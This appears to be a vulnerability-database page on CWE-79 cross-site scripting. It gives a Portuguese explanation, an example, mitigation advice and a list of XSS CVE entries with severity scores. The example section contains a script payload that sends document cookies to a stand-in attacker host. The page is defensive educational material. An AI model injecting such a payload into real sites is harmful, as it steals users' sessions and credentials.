Fallos del tipo CWE-79

29.656 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-2925MEDIUMBeaver Builder – WordPress Page Builder <= 2.8.0.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via ButtonEPSS 0.4%CVE-2024-33424MEDIUMA cross-site scripting (XSS) vulnerability in the Settings menu of CMSimple v5.15 allows attackers to execute arbitrary web scripts or HTML EPSS 0.4%CVE-2025-22335HIGHWordPress Opencart Product in WP plugin <= 1.0.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-32339MEDIUMMultiple cross-site scripting (XSS) vulnerabilities in the HOW TO page of WonderCMS v3.4.3 allows attackers to execute arbitrary web scriptsEPSS 0.4%CVE-2024-27680MEDIUMFlusity-CMS v2.33 is vulnerable to Cross Site Scripting (XSS) in the "Contact form."EPSS 0.4%CVE-2023-6747MEDIUMFooGallery Premium <= 2.3.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2023-30496HIGHWordPress Bus Ticket Booking with Seat Reservation Plugin <= 5.2.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-0691MEDIUMFileBird <= 5.6.0 - Authenticated(Administrator+) Stored Cross-Site Scripting via Folder ImportEPSS 0.4%CVE-2026-54087HIGHEasyAdmin: Stored Cross-Site Scripting (XSS) via uploaded files served inline in FileField and ImageFieldEPSS 0.4%CVE-2025-0175MEDIUMcode-projects Online Shop view.php cross site scriptingEPSS 0.4%CVE-2026-49978MEDIUMDOMPurify IN_PLACE Sanitization Bypass via Attached Shadow Root Inside <template>.contentEPSS 0.4%CVE-2025-34425MEDIUMMailEnable < 10.54 Reflected XSS in WindowContext Parameter of MAI/compose.aspxEPSS 0.4%CVE-2024-0698MEDIUMEasy!Appointments <= 1.3.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-1357MEDIUMShortcodes and extra features for Phlox theme <= 2.15.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'aux_timeline' ShortcodeEPSS 0.4%CVE-2025-22338HIGHWordPress WP-tagMaker plugin <= 0.2.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-6387MEDIUMWP Get The Table <= 1.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via url ParameterEPSS 0.4%CVE-2026-103904HIGHStored XSS Vulnerability in JTL-ShopEPSS 0.4%CVE-2023-49187HIGHWordPress Adifier System Plugin < 3.1.4 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-7300MEDIUMBolt CMS Showcase Creation showcases cross site scriptingEPSS 0.4%CVE-2023-1429MEDIUMCross-site Scripting (XSS) - Reflected in pimcore/pimcoreEPSS 0.4%